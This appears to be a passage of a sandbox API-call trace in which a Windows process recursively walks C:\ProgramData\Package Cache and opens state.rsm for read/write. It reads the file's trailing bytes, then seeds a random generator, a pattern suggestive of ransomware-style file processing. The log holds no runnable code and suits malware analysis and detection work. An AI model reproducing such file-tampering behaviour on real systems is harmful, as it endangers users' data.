	[0092.459] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.459] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.459] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.459] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.459] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1
	[0092.459] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1
	[0092.460] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.460] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0092.460] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.460] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb0e8) returned 1
	[0092.460] FindNextFileW (in: hFindFile=0x2d873b8, lpFindFileData=0x2ddfc80 | out: lpFindFileData=0x2ddfc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.460] FindClose (in: hFindFile=0x2d873b8 | out: hFindFile=0x2d873b8) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddfc80) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60f50) returned 1
	[0092.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fa48) returned 1

Thread:
	id = 338
	os_tid = 0x1470

	[0076.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d61000
	[0076.881] wcscpy (in: _Dest=0x2d61000, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0076.881] wcscat (in: _Dest=0x2d61000, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\"
	[0076.881] wcscat (in: _Dest=0x2d61000, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*"
	[0076.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddfee8
	[0076.881] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2ddfee8 | out: lpFindFileData=0x2ddfee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87378
	[0079.933] wcscmp (_String1=".", _String2=".") returned 0
	[0079.933] FindNextFileW (in: hFindFile=0x2d87378, lpFindFileData=0x2ddfee8 | out: lpFindFileData=0x2ddfee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.933] wcscmp (_String1="..", _String2=".") returned 1
	[0079.933] wcscmp (_String1="..", _String2="..") returned 0
	[0079.933] FindNextFileW (in: hFindFile=0x2d87378, lpFindFileData=0x2ddfee8 | out: lpFindFileData=0x2ddfee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.933] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.933] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddaa70
	[0079.933] wcscpy (in: _Dest=0x2ddaa70, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0079.933] wcscat (in: _Dest=0x2ddaa70, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\"
	[0079.933] wcscat (in: _Dest=0x2ddaa70, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.461] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.461] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\"
	[0092.461] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*"
	[0092.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.461] wcscmp (_String1=".", _String2=".") returned 0
	[0092.461] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.461] wcscmp (_String1="..", _String2=".") returned 1
	[0092.461] wcscmp (_String1="..", _String2="..") returned 0
	[0092.462] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.462] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.462] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33900
	[0092.462] wcscpy (in: _Dest=0x4e33900, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0092.462] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\"
	[0092.462] wcscat (in: _Dest=0x4e33900, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0092.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32998
	[0092.462] wcscpy (in: _Dest=0x4e32998, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0092.462] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\"
	[0092.462] wcscat (in: _Dest=0x4e32998, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.462] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.462] wcscmp (_String1=".", _String2=".") returned 0
	[0092.462] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.462] wcscmp (_String1="..", _String2=".") returned 1
	[0092.462] wcscmp (_String1="..", _String2="..") returned 0
	[0092.462] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.462] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.462] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.462] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.462] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.462] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.462] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.462] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0092.463] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.463] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddaa70) returned 1
	[0092.463] FindNextFileW (in: hFindFile=0x2d87378, lpFindFileData=0x2ddfee8 | out: lpFindFileData=0x2ddfee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.463] FindClose (in: hFindFile=0x2d87378 | out: hFindFile=0x2d87378) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddfee8) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61000) returned 1
	[0092.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7faf0) returned 1

Thread:
	id = 339
	os_tid = 0x1474

	[0076.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d78e38
	[0076.881] wcscpy (in: _Dest=0x2d78e38, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0076.882] wcscat (in: _Dest=0x2d78e38, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\"
	[0076.882] wcscat (in: _Dest=0x2d78e38, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"
	[0076.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2de0150
	[0076.882] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2de0150 | out: lpFindFileData=0x2de0150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87578
	[0079.946] wcscmp (_String1=".", _String2=".") returned 0
	[0079.946] FindNextFileW (in: hFindFile=0x2d87578, lpFindFileData=0x2de0150 | out: lpFindFileData=0x2de0150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.946] wcscmp (_String1="..", _String2=".") returned 1
	[0079.946] wcscmp (_String1="..", _String2="..") returned 0
	[0079.946] FindNextFileW (in: hFindFile=0x2d87578, lpFindFileData=0x2de0150 | out: lpFindFileData=0x2de0150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0079.946] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0079.946] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0079.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986518
	[0079.946] wcscpy (in: _Dest=0x4986518, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0079.946] wcscat (in: _Dest=0x4986518, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\"
	[0079.946] wcscat (in: _Dest=0x4986518, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"
	[0092.277] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20
	[0092.277] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0092.277] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1398
	[0092.277] GetFileSizeEx (in: hFile=0x1398, lpFileSize=0xea3fea4 | out: lpFileSize=0xea3fea4*=626) returned 1
	[0092.277] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.277] ReadFile (in: hFile=0x1398, lpBuffer=0xea3fe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xea3fe24, lpOverlapped=0x0 | out: lpBuffer=0xea3fe28*, lpNumberOfBytesRead=0xea3fe24*=0x4, lpOverlapped=0x0) returned 1
	[0092.278] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0092.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0092.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0092.278] NtQuerySystemTime (in: CurrentTime=0xea3fe04 | out: CurrentTime=0xea3fe04*=132251868190096280) returned 0x0
	[0092.278] RtlRandom (in: Seed=0xea3fe10 | out: Seed=0xea3fe10) returned 0x82e05b4e
